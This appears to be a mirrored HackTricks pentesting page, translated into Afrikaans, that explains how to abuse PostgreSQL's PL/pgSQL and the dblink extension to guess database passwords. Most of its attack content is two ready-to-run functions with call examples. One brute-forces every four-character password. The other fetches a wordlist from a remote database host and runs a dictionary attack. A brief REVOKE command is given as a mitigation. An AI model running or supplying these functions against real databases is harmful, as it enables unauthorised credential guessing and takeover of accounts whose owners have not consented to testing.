mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
129 lines
5.7 KiB
Markdown
129 lines
5.7 KiB
Markdown
# PL/pgSQL Wagwoord Bruteforce
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
**Vind [meer inligting oor hierdie aanval in die oorspronklike dokument](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
|
|
|
PL/pgSQL is 'n **volledig uitgeruste programmeringstaal** wat verder gaan as die vermoëns van SQL deur **verbeterde prosedurele beheer** aan te bied. Dit sluit die gebruik van lusse en verskeie beheerstrukture in. Funksies wat in die PL/pgSQL-taal geskep is, kan deur SQL-opdragte en triggerversoeke aangeroep word, wat die omvang van operasies binne die databasisomgewing verbreed.
|
|
|
|
Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se geloofsbriewe met geweld te probeer, maar dit moet op die databasis bestaan. Jy kan dit se bestaan verifieer deur die volgende te gebruik:
|
|
```sql
|
|
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
|
lanname | lanacl
|
|
---------+---------
|
|
plpgsql |
|
|
```
|
|
Standaard is die **skep van funksies 'n voorreg wat aan PUBLIEK toegeken word**, waar PUBLIEK verwys na elke gebruiker op daardie databasisstelsel. Om dit te voorkom, kon die administrateur die USAGE-voorreg van die PUBLIEKE domein herroep het:
|
|
```sql
|
|
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
|
```
|
|
In daardie geval sal ons vorige navraag verskillende resultate lewer:
|
|
```sql
|
|
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
|
lanname | lanacl
|
|
---------+-----------------
|
|
plpgsql | {admin=U/admin}
|
|
```
|
|
Let daarop dat vir die volgende skripsie om te werk **die funksie `dblink` moet bestaan**. As dit nie bestaan nie, kan jy probeer om dit te skep met 
|
|
```sql
|
|
CREATE EXTENSION dblink;
|
|
```
|
|
## Wagtwoord Brute Force
|
|
|
|
Hier is hoe jy 'n 4 karakter wagtwoord brute force kan uitvoer:
|
|
```sql
|
|
//Create the brute-force function
|
|
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
|
username TEXT, dbname TEXT) RETURNS TEXT AS
|
|
$$
|
|
DECLARE
|
|
word TEXT;
|
|
BEGIN
|
|
FOR a IN 65..122 LOOP
|
|
FOR b IN 65..122 LOOP
|
|
FOR c IN 65..122 LOOP
|
|
FOR d IN 65..122 LOOP
|
|
BEGIN
|
|
word := chr(a) || chr(b) || chr(c) || chr(d);
|
|
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
|
' port=' || port ||
|
|
' dbname=' || dbname ||
|
|
' user=' || username ||
|
|
' password=' || word,
|
|
'SELECT 1')
|
|
RETURNS (i INT));
|
|
RETURN word;
|
|
EXCEPTION
|
|
WHEN sqlclient_unable_to_establish_sqlconnection
|
|
THEN
|
|
-- do nothing
|
|
END;
|
|
END LOOP;
|
|
END LOOP;
|
|
END LOOP;
|
|
END LOOP;
|
|
RETURN NULL;
|
|
END;
|
|
$$ LANGUAGE 'plpgsql';
|
|
|
|
//Call the function
|
|
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
|
```
|
|
_Merk op dat selfs die kragtige kragtiging van 4 karakters verskeie minute kan neem._
|
|
|
|
Jy kan ook **'n woordelys aflaai** en slegs daardie wagwoorde probeer (woordeboekaanval):
|
|
```sql
|
|
//Create the function
|
|
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
|
username TEXT, dbname TEXT) RETURNS TEXT AS
|
|
$$
|
|
BEGIN
|
|
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
|
|
user=name
|
|
password=qwerty
|
|
dbname=wordlists',
|
|
'SELECT word FROM wordlist')
|
|
RETURNS (word TEXT)) LOOP
|
|
BEGIN
|
|
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
|
' port=' || port ||
|
|
' dbname=' || dbname ||
|
|
' user=' || username ||
|
|
' password=' || word,
|
|
'SELECT 1')
|
|
RETURNS (i INT));
|
|
RETURN word;
|
|
|
|
EXCEPTION
|
|
WHEN sqlclient_unable_to_establish_sqlconnection THEN
|
|
-- do nothing
|
|
END;
|
|
END LOOP;
|
|
RETURN NULL;
|
|
END;
|
|
$$ LANGUAGE 'plpgsql'
|
|
|
|
-- Call the function
|
|
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|